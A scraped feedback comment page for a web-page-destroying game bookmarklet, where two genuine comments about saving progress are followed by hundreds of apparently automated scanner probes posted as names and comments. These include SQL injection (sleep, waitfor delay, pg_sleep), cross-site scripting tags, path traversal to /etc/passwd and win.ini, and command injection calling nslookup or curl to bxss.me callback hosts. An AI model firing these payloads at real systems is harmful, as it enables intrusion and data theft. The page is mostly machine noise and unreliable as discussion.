Feedback

Save by DevilishDB - 160 months ago

You could have an option to save what has been shot at so that for example ads will be gone forever!! I assume this wouldn't be possible with the JavaScript bookmark thing but maybe with the Chrome extension.

• GM213

  That wood be awsome

• Boogerflicker

  Yeah your first assumption is right. I can't think of a way to save your progress because the bookmark is just making a copy of the website in the webpage, almost like a picture. That is why when you refresh the page you get the original page and no damage has been done to it. Although in a way you can "save" your game. If you are destroying a site you can click cancel and it will record the amount of points you have and add them to your xp and to your highscores list, they just won't be published to the global highscores because it only registers if you completely destroy the webpage.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1DLcR3Yz96O

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1CG8X9IKnlO

  1

• WfxYANoW

  ${9999179+9999053}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• ${10000201+9999221}

  1

• Anonymous

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9335200*9747078)

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  '+response.write(9335200*9747078)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  1

• WfxYANoW

  "+response.write(9335200*9747078)+"

• WfxYANoW

  ../1

• WfxYANoW

  echo gqjunw$()\ bwyjus\nz^xyu||a #' &echo gqjunw$()\ bwyjus\nz^xyu||a #|" &echo gqjunw$()\ bwyjus\nz^xyu||a #

• WfxYANoW

  6BShNXIs

• WfxYANoW

  &echo zghrdt$()\ lanifp\nz^xyu||a #' &echo zghrdt$()\ lanifp\nz^xyu||a #|" &echo zghrdt$()\ lanifp\nz^xyu||a #

• response.write(9666501*9040666)

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  /etc/shells

• WfxYANoW

  1&echo vlyhyx$()\ clvfja\nz^xyu||a #' &echo vlyhyx$()\ clvfja\nz^xyu||a #|" &echo vlyhyx$()\ clvfja\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• file:///etc/passwd

  1

• WfxYANoW

  dlT78Vf1: LMTG8hZI

• '+response.write(9666501*9040666)+'

  1

• WfxYANoW

  1

• WfxYANoW

  |echo dclxid$()\ pkkgnl\nz^xyu||a #' |echo dclxid$()\ pkkgnl\nz^xyu||a #|" |echo dclxid$()\ pkkgnl\nz^xyu||a #

• ../WfxYANoW

  1

• WfxYANoW

  1&n960788=v958108

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1|echo plxyhq$()\ sxiofb\nz^xyu||a #' |echo plxyhq$()\ sxiofb\nz^xyu||a #|" |echo plxyhq$()\ sxiofb\nz^xyu||a #

• "+response.write(9666501*9040666)+"

  1

• owa0RhKz

  1

• WfxYANoW

  (nslookup -q=cname hitlcpyhbcqxd14a9e.bxss.me||curl hitlcpyhbcqxd14a9e.bxss.me))

• bENOZ1J6cEQ=

  1

• ksu7DqXx: fMYcckvt

  1

• WfxYANoW

  bxss.me

• WfxYANoW&n994212=v906710

  1

• WfxYANoW

  $(nslookup -q=cname hitvcgakxijvw11511.bxss.me||curl hitvcgakxijvw11511.bxss.me)

• WfxYANoW

  &nslookup -q=cname hitsbhmhfsbjw0f064.bxss.me&'\"`0&nslookup -q=cname hitsbhmhfsbjw0f064.bxss.me&`'

• WfxYANoW

  )

• WfxYANoW

  &(nslookup -q=cname hitkznacgeeir5140a.bxss.me||curl hitkznacgeeir5140a.bxss.me)&'\"`0&(nslookup -q=cname hitkznacgeeir5140a.bxss.me||curl hitkznacgeeir5140a.bxss.me)&`'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitkp'.'wrjuxxveac5ef.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(76).chr(109).chr(81).'

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  |(nslookup -q=cname hitrbsaghqwlx172b5.bxss.me||curl hitrbsaghqwlx172b5.bxss.me)

• WfxYANoW

  ".gethostbyname(lc("hitkl"."hqysoofkab697.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(76).chr(113).chr(82)."

• )

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  `(nslookup -q=cname hitkwrzzjuwhe14c89.bxss.me||curl hitkwrzzjuwhe14c89.bxss.me)`

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1

• !(()&&!|*|*|

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• /etc/shells

  1

• WfxYANoW

  ;(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)|(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)&(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)

• WfxYANoW

  gethostbyname(lc('hitbj'.'jedylmhd0aa13.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(87).chr(104).chr(85)

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hithalocwumsz76a11.bxss.me||curl${IFS}hithalocwumsz76a11.bxss.me)

• c:/windows/win.ini

  1

• bxss.me

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitwjtqkeitjk443b1.bxss.me||curl${IFS}hitwjtqkeitjk443b1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwjtqkeitjk443b1.bxss.me||curl${IFS}hitwjtqkeitjk443b1.bxss.me)&`'

• WfxYANoW

  '"()

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1'&&sleep(27*1000)*vtrfhq&&'

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1"&&sleep(27*1000)*tzmayj&&"

• xfs.bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*zauuvu||'

• WfxYANoW

  1'"()&%<zzz><ScRiPt >6hAa(9113)</ScRiPt>

• WfxYANoW

  1"||sleep(27*1000)*xbdnzp||"

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  '"

• WfxYANoW

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  <!--

• '"

  1

• '"()

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW'&&sleep(27*1000)*pmjfgf&&'

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  '"()&%<zzz><ScRiPt >6hAa(9520)</ScRiPt>

• ';print(md5(31337));$a='

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  19029183

• WfxYANoW"&&sleep(27*1000)*wbymgi&&"

  1

• <!--

  1

• bxss.me/t/xss.html?%00

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(109).concat(74).concat(117).concat(73)+(require"socket" Socket.gethostbyname("hitdj"+"qbtmjgvl43328.bxss.me.")[3].to_s)+"

• WfxYANoW'||sleep(27*1000)*nzynad||'

  1

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(116).concat(77).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitos'+'pnkxcede0f694.bxss.me.')[3].to_s)+'

• WfxYANoW"||sleep(27*1000)*iwtrti||"

  1

• WfxYANoW

  comment

• ${@print(md5(31337))}

  1

• WfxYANoW

  bfg5110＜s1﹥s2ʺs3ʹhjl5110

• WfxYANoW

  comment/.

• comment

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(103).concat(76).concat(116).concat(82)+(require'socket' Socket.gethostbyname('hitsy'+'ouqdomeb74005.bxss.me.')[3].to_s)

• comment

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• comment/.

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >6hAa(9830)</ScRiPt>

• WfxYANoW

  1<WRAMEN>IILIR[!+!]</WRAMEN>

• WfxYANoW

  1<script>6hAa(9945)</script>

• WfxYANoW

  1<script>6hAa(9580)</script>9580

• WfxYANoW

  1<ScR<ScRiPt>IpT>6hAa(9567)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >6hAa(9443)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9496></ScRiPt>

• WfxYANoW

  1<ScRiPt >6hAa(9988)</ScRiPt>

• WfxYANoW

  1zkRhlu6s

• WfxYANoW

  1<isindex type=image src=1 onerror=6hAa(9618)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9237'>

• WfxYANoW

  1<body onload=6hAa(9977)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=6hAa(9424)>

• WfxYANoW

  1<img src=xyz OnErRor=6hAa(9325)>

• WfxYANoW

  1<img/src=">" onerror=alert(9458)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%36%68%41%61%289656%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\6hAa(9829)\u003C/sCripT\u003E

• WfxYANoW

  1

• WfxYANoW

  1&lt;ScRiPt&gt;6hAa(9201)&lt;/sCripT&gt;

• WfxYANoW

  -1 OR 2+459-459-1=0+0+0+1 --

• WfxYANoW

  1<input autofocus onfocus=6hAa(9503)>

• WfxYANoW

  -1 OR 2+659-659-1=0+0+0+1

• WfxYANoW

  -1' OR 2+763-763-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1' OR 2+820-820-1=0+0+0+1 or '5BJ8X1nx'='

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1" OR 2+882-882-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(6hAa(9136))}

• WfxYANoW

  1bViXI <ScRiPt >6hAa(9117)</ScRiPt>

• WfxYANoW

  1<W1VZGW>SG46W[!+!]</W1VZGW>

• WfxYANoW

  1<ifRAme sRc=9816.com></IfRamE>

• WfxYANoW

  1<aEidqGo x=9432>

• WfxYANoW

  1<img sRc='http://attacker-9637/log.php?

• WfxYANoW

  1<aPPfjdZ<

• WfxYANoW'"()&%<zzz><ScRiPt >6hAa(9352)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >6hAa(9967)</ScRiPt>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW9480867

  1

• bfg10220＜s1﹥s2ʺs3ʹhjl10220

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >6hAa(9851)</ScRiPt>

  1

• WfxYANoW<WIDVZ1>NX8T3[!+!]</WIDVZ1>

  1

• WfxYANoW<script>6hAa(9649)</script>

  1

• WfxYANoW<script>6hAa(9511)</script>9511

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ScRiPt >6hAa(9749)</ScRiPt>

  1

• WfxYANoW<ScRiPt >6hAa(9582)</ScRiPt>

  1

• WfxYANoW<body onload=6hAa(9835)>

  1

• WfxYANoW<img src=xyz OnErRor=6hAa(9573)>

  1

• WfxYANoW<img/src=">" onerror=alert(9143)>

  1

• WfxYANoW\u003CScRiPt\6hAa(9120)\u003C/sCripT\u003E

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW&lt;ScRiPt&gt;6hAa(9264)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=6hAa(9456)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(6hAa(9589))}

  1

• WfxYANoW0Ckpf <ScRiPt >6hAa(9560)</ScRiPt>

  1

• WfxYANoW<WEZSLK>HFAZH[!+!]</WEZSLK>

  1

• WfxYANoW<ifRAme sRc=9634.com></IfRamE>

  1

• WfxYANoW<aIYVJjZ x=9192>

  1

• WfxYANoW<img sRc='http://attacker-9337/log.php?

  1

• WfxYANoW<aN68FUS<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1o3GyjtuT'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 115=(SELECT 115 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 346=(SELECT 346 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

• WfxYANoW

  17SutVwCy' OR 874=(SELECT 874 FROM PG_SLEEP(15))--

• WfxYANoW

  1Fm2lslg2') OR 68=(SELECT 68 FROM PG_SLEEP(15))--

• WfxYANoW

  1efcUHBqi')) OR 46=(SELECT 46 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@P0Edi

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWudfKb86q

  1

• WfxYANoW

  1

• -1 OR 2+61-61-1=0+0+0+1 --

  1

• -1 OR 2+251-251-1=0+0+0+1

  1

• -1' OR 2+913-913-1=0+0+0+1 --

  1

• -1' OR 2+544-544-1=0+0+0+1 or 'BKILC8FL'='

  1

• -1" OR 2+452-452-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWncHrCeTh'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@da3ve

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• lbvvcjyd

  1

• mslvlxii

  response.write(9887220*9822938)

• mslvlxii

  '+response.write(9887220*9822938)+'

• sfnqjcdc

  1

• mslvlxii

  "+response.write(9887220*9822938)+"

• sfnqjcdc

  1

• pwgohhlh

  set|set&set

• response.write(9543336*9933588)

  1

• sfnqjcdc

  oqfhAzhr

• pwgohhlh

  $(nslookup b9WgIdmX)

• '+response.write(9543336*9933588)+'

  1

• sfnqjcdc

  -1 OR 2+567-567-1=0+0+0+1 --

• ryengocd

  ZPClLrMF

• ihjgxpsj

  ../../../../../../../../../../etc/passwd

• pwgohhlh

  &nslookup QcTOpuzu&'\"`0&nslookup QcTOpuzu&`'

• "+response.write(9543336*9933588)+"

  1

• sfnqjcdc

  -1 OR 2+165-165-1=0+0+0+1

• dh4lf5Ph

  1

• ihjgxpsj

  ../../../../../../../../../../../../../../../proc/version

• set|set&set

  1

• gbjikxrs

  1

• sfnqjcdc

  -1' OR 2+463-463-1=0+0+0+1 --

• nyugeraf

  ${9999565+9999381}

• ihjgxpsj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• $(nslookup G9U3v73U)

  1

• sfnqjcdc

  -1' OR 2+212-212-1=0+0+0+1 or '23kuLmKZ'='

• ${9999027+10000337}

  1

• cpuvlhhs

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ihjgxpsj

  ../../../../../../../../../../etc/passwd.jpg

• &nslookup qCVFCQhw&'\"`0&nslookup qCVFCQhw&`'

  1

• sfnqjcdc

  -1" OR 2+46-46-1=0+0+0+1 --

• YUhqOWQ0YUQ=

  1

• cpuvlhhs

  1some_inexistent_file_with_long_name.jpg

• ihjgxpsj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• isheyaps

  1&n907600=v985046

• sfnqjcdc

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• ljjcyrrv

  )

• cpuvlhhs

  Http://testasp.vulnweb.com/t/fit.txt

• ihjgxpsj

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• gbjikxrs

  1

• sfnqjcdc

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• ljjcyrrv

  !(()&&!|*|*|

• cpuvlhhs

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ihjgxpsj

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• vuncxqug&n906088=v944740

  1

• Anonymous

  1

• sfnqjcdc

  -1; waitfor delay '0:0:10' --

• ljjcyrrv

  ^(#$!@#$)(()))******

• cpuvlhhs

  testasp.vulnweb.com

• ihjgxpsj

  /etc/passwd

• sfnqjcdc

  -1); waitfor delay '0:0:3' --

• )

  1

• ihjgxpsj

  %2fetc%2fpasswd

• sfnqjcdc

  -1); waitfor delay '0:0:0' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• ihjgxpsj

  /.././.././.././.././.././.././.././../etc/./passwd%00

• aaxjbkgr

  '"()

• bdenlhcr

  ;print(md5(acunetix_wvs_security_test));

• sfnqjcdc

  1 waitfor delay '0:0:3' --

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• ihjgxpsj

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• bdenlhcr

  ';print(md5(acunetix_wvs_security_test));$a='

• sfnqjcdc

  1 waitfor delay '0:0:7' --

• qoglskeh

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• gjujdaar

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ihjgxpsj

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• '"()

  1

• bdenlhcr

  ";print(md5(acunetix_wvs_security_test));$a="

• sfnqjcdc

  PfXMXcMi'; waitfor delay '0:0:3' --

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• gjujdaar

  comment

• testasp.vulnweb.com

  1

• qtbpshro

  http://hitAh2hMBro4c.bxss.me/

• bdenlhcr

  ${@print(md5(acunetix_wvs_security_test))}

• sfnqjcdc

  VgGfpayz'; waitfor delay '0:0:10' --

• sckkjbny

  1

• gjujdaar

  comment

• bnqfjkoh

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ihjgxpsj

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• http://hithhAmcdnJoS.bxss.me/

  1

• bdenlhcr

  ${@print(md5(acunetix_wvs_security_test))}\

• sfnqjcdc

  -1;select pg_sleep(7); --

• sckkjbny

  1'"

• gjujdaar

  comment/.

• ihjgxpsj

  file:///etc/passwd

• rgatdick

  /www.vulnweb.com

• ;print(md5(acunetix_wvs_security_test));

  1

• sfnqjcdc

  -1);select pg_sleep(7); --

• sckkjbny

  \

• gjujdaar

  1

• xdahqpmy

  '"

• ihjgxpsj

  /\../\../\../\../\../\../\../etc/passwd

• /www.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• sfnqjcdc

  -1));select pg_sleep(7); --

• comment

  1

• xdahqpmy

  <!--

• ihjgxpsj

  WEB-INF/web.xml

• irackvpe

  1'"()&%<acx><ScRiPt >IiS0(9171)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• sfnqjcdc

  9XFWVheS';select pg_sleep(7); --

• sckkjbny

  @@F3uoq

• comment

  1

• '"

  1

• ihjgxpsj

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• sfnqjcdc

  UCfsNOoA');select pg_sleep(10); --

• sckkjbny

  JyI=

• comment/.

  1

• <!--

  1

• ihjgxpsj

  WEB-INF\web.xml

• irackvpe

  '"()&%<acx><ScRiPt >IiS0(9526)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• sfnqjcdc

  MH65010Y'));select pg_sleep(10); --

• ../../../../../../../../../../etc/passwd

  1

• sfnqjcdc

  1

• irackvpe

  1_9557

• sfnqjcdc

  1

• sckkjbny

  (select convert(int,CHAR(65)))

• PpOhgbGf

  1

• sckkjbny

  1

• irackvpe

  acu4814＜s1﹥s2ʺs3ʹuca4814

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+771-771-1=0+0+0+1 --

  1

• 1'"

  1

• -1 OR 2+275-275-1=0+0+0+1

  1

• \

  1

• -1' OR 2+202-202-1=0+0+0+1 --

  1

• -1' OR 2+779-779-1=0+0+0+1 or 'Ob1uySab'='

  1

• @@z9vMO

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• irackvpe

  {{9999766*9999871}}

• -1" OR 2+662-662-1=0+0+0+1 --

  1

• JyI=

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• irackvpe

  1<ScRiPt >IiS0(9812)</ScRiPt>

• 1 waitfor delay '0:0:9' --

  1

• (select convert(int,CHAR(65)))

  1

• irackvpe

  1<WXTVCN>K3GNU[!+!]</WXTVCN>

• 9VQFQSk3'; waitfor delay '0:0:9' --

  1

• eMmfLyZY';select pg_sleep(9); --

  1

• irackvpe

  1<script>IiS0(9964)</script>

• xL0jv5Ep');select pg_sleep(13); --

  1

• LEyqt1Xp'));select pg_sleep(13); --

  1

• file:///etc/passwd

  1

• irackvpe

  1<ScR<ScRiPt>IpT>IiS0(9275)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• irackvpe

  1<ScRiPt >IiS0(9279)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• irackvpe

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9877></ScRiPt>

• irackvpe

  1<ScRiPt >IiS0(9733)</ScRiPt>

• irackvpe

  1<video><source onerror="javascript:IiS0(9844)">

• irackvpe

  1<isindex type=image src=1 onerror=IiS0(9200)>

• irackvpe

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9020'>

• irackvpe

  1<body onload=IiS0(9257)>

• irackvpe

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=IiS0(9673)>

• irackvpe

  1<img src=xyz OnErRor=IiS0(9759)>

• irackvpe

  1<img/src=">" onerror=alert(9219)>

• irackvpe

  %31%3C%53%63%52%69%50%74%20%3E%49%69%53%30%289042%29%3C%2F%73%43%72%69%70%54%3E

• irackvpe

  1\u003CScRiPt\IiS0(9098)\u003C/sCripT\u003E

• irackvpe

  1&lt;ScRiPt&gt;IiS0(9427)&lt;/sCripT&gt;

• irackvpe

  1<input autofocus onfocus=IiS0(9702)>

• irackvpe

  <a HrEF=http://www.vulnweb.com></a>

• irackvpe

  <a HrEF=jaVaScRiPT:>

• irackvpe

  [url=http://www.vulnweb.com][/url]

• irackvpe

  1<img<!-- --> src=x onerror=alert(9122);//><!-- -->

• irackvpe

  1}body{acu:Expre/**/SSion(IiS0(9116))}

• irackvpe

  1<% contenteditable onresize=IiS0(9963)>

• irackvpe

  1_Nveji <ScRiPt >IiS0(9398)</ScRiPt>

• irackvpe

  1<W7MLWJ>BIIO9[!+!]</W7MLWJ>

• irackvpe

  1<ifRAme sRc=9848.com></IfRamE>

• irackvpe

  1<4aBPck x=9654>

• irackvpe

  1<img sRc='http://attacker-9123/log.php?

• irackvpe'"()&%<acx><ScRiPt >IiS0(9714)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >IiS0(9708)</ScRiPt>

  1

• irackvpe_9875

  1

• acu2694＜s1﹥s2ʺs3ʹuca2694

  1

• {{9999739*9999545}}

  1

• irackvpe<ScRiPt >IiS0(9686)</ScRiPt>

  1

• irackvpe<WAHZCF>CZSGJ[!+!]</WAHZCF>

  1

• irackvpe<script>IiS0(9168)</script>

  1

• irackvpe<ScRiPt >IiS0(9054)</ScRiPt>

  1

• irackvpe<ScRiPt >IiS0(9858)</ScRiPt>

  1

• irackvpe<body onload=IiS0(9336)>

  1

• irackvpe<img src=xyz OnErRor=IiS0(9928)>

  1

• irackvpe<img/src=">" onerror=alert(9033)>

  1

• irackvpe\u003CScRiPt\IiS0(9959)\u003C/sCripT\u003E

  1

• irackvpe&lt;ScRiPt&gt;IiS0(9607)&lt;/sCripT&gt;

  1

• irackvpe<input autofocus onfocus=IiS0(9219)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• irackvpe}body{acu:Expre/**/SSion(IiS0(9841))}

  1

• irackvpe<% contenteditable onresize=IiS0(9476)>

  1

• irackvpe_iH27G <ScRiPt >IiS0(9376)</ScRiPt>

  1

• irackvpe<WJP1DR>HAWXR[!+!]</WJP1DR>

  1

• irackvpe<ifRAme sRc=9825.com></IfRamE>

  1

• irackvpe<TU3MAM x=9691>

  1

• irackvpe<img sRc='http://attacker-9643/log.php?

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrL

  1yZAj3OHU

• dwUQQUrL

  1

• dwUQQUrL

  -1 OR 2+763-763-1=0+0+0+1 --

• dwUQQUrL

  -1 OR 2+323-323-1=0+0+0+1

• dwUQQUrL

  -1' OR 2+631-631-1=0+0+0+1 --

• dwUQQUrL

  -1' OR 2+772-772-1=0+0+0+1 or 'PDiUWoBC'='

• dwUQQUrL

  -1" OR 2+516-516-1=0+0+0+1 --

• dwUQQUrL

  1*if(now()=sysdate(),sleep(15),0)

• dwUQQUrL

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

